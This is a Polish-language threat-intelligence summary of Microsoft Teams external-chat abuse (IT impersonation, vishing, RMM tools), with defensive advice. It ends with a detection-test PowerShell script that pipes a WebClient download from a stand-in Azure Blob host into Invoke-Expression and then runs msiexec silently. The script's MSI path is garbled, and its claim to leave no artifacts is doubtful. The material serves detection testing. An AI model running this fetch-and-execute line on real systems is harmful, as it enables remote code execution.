Nadużycie czatu zewnętrznego w Microsoft Teams umożliwia nieautoryzowany dostęp

Podsumowanie

Aktorzy zagrożeń nadużywają funkcji zewnętrznego czatu Microsoft Teams do prowadzenia oszustw poprzez podszywanie się oraz dostarczanie złośliwych plików. Atakujący używają nazw wyświetlanych o tematyce IT i jednorazowych tenantów Microsoft 365, aby wyglądać na wiarygodnych i zdobyć zaufanie ofiar. Po nawiązaniu kontaktu, często polegają na oszustwie telefonicznym (vishing) oraz narzędziach do zdalnego monitorowania i zarządzania (RMM), aby uzyskać dostęp z poziomu klawiatury.

Śledztwo

Arctic Wolf przeanalizowało ponad 400 incydentów dotyczących nadużycia zewnętrznego czatu Microsoft Teams. Śledztwo zidentyfikowało powtarzający się schemat, w którym bombarding mailowy tworzył poczucie pilności, zanim atakujący skontaktowali się z ofiarami przez Teams, podszywając się pod wsparcie IT. Badacze zaobserwowali również przejście od .onmicrosoft.com tenantów w kierunku kontrolowanych przez atakujących .top domen dla fazowania ładunków.

Zabezpieczenia

Organizacje powinny zastąpić otwartą politykę dostępu zewnętrznego listą zaufanych domen w centrum administracji Teams. Zaleca się również wyłączenie czatu z niezarządzanymi lub konsumenckimi kontami Teams. Ograniczenie narzędzi takich jak Quick Assist oraz blokowanie nieautoryzowanego oprogramowania RMM może znacznie zmniejszyć ryzyko dalszej eksploatacji.

Reakcja

Gdy zostanie wykryta podejrzana aktywność zewnętrznego czatu Teams, organizacje powinny potwierdzić tożsamość żądającego poprzez kanał komunikacji poza pasmem. Zespoły ochrony powinny skorelować wydarzenia ChatCreated z telemetrią punktów końcowych i tożsamości, aby odkryć potencjalne naruszenia bezpieczeństwa. Szybka izolacja zaatakowanych hostów i cofnięcie tokenów sesji dla potencjalnie skompromitowanych użytkowników jest kluczowe.

Wykonanie Symulacji

• Narracja Ataku & Polecenia: Celem przeciwnika jest ustanowienie trwałości poprzez zainstalowanie złośliwej usługi. Aby uniknąć wykrycia, próbują pobrać ładunek z publicznego kontenera przechowalni Azure Blob. Używają jednowierszówki PowerShell, która łączy Invoke-Expression (aliasowany jako IEX) z URL-em wskazującym na blob.core.windows.net. Po uruchomieniu skryptu w pamięci, wywołuje on wykonanie msiexec.exe aby zainstalować ostateczny ładunek, kończąc łańcuch od początkowego polecenia po instalację na poziomie systemowym.

• Skrypt testu regresji:

  # Skrypt symulacji: Wykonanie ładunku przez PowerShell i Azure Blob
  # Ten skrypt naśladuje dokładne wzorce, które wyszukuje reguła.
  
  $TargetUrl = "https://malicious-payload.blob.core.windows.net/downloads/installer.msi"
  $FakeIEX = "IEX"
  
  Write-Host "[+] Symulacja wykonania bloku skryptu PowerShell z URL-em Azure Blob..."
  # Ta linia wywołuje logiczne EventID 4104 (IEX + blob.core.windows.net)
  Invoke-Expression "Write-Output 'Pobieranie z $TargetUrl...'; $FakeIEX (New-Object Net.WebClient).DownloadString('$TargetUrl')"
  
  Write-Host "[+] Symulacja wykonania MSI..."
  # Ta linia wywołuje logiczne EventID 4688 (msiexec.exe)
  Start-Process "msiexec.exe" -ArgumentList "/i C:WindowsSystem32setup.msi /quiet" -ErrorAction SilentlyContinue

• Komendy czyszczenia:

  # Czyszczenie: Ten skrypt symulacyjny faktycznie nie tworzy żadnych trwałych plików 
  # ponieważ używa fikcyjnych URL-i i standardowych ścieżek systemowych MSI.
  Write-Host "[+] Symulacja zakończona. Brak artefaktów pozostawionych w systemie."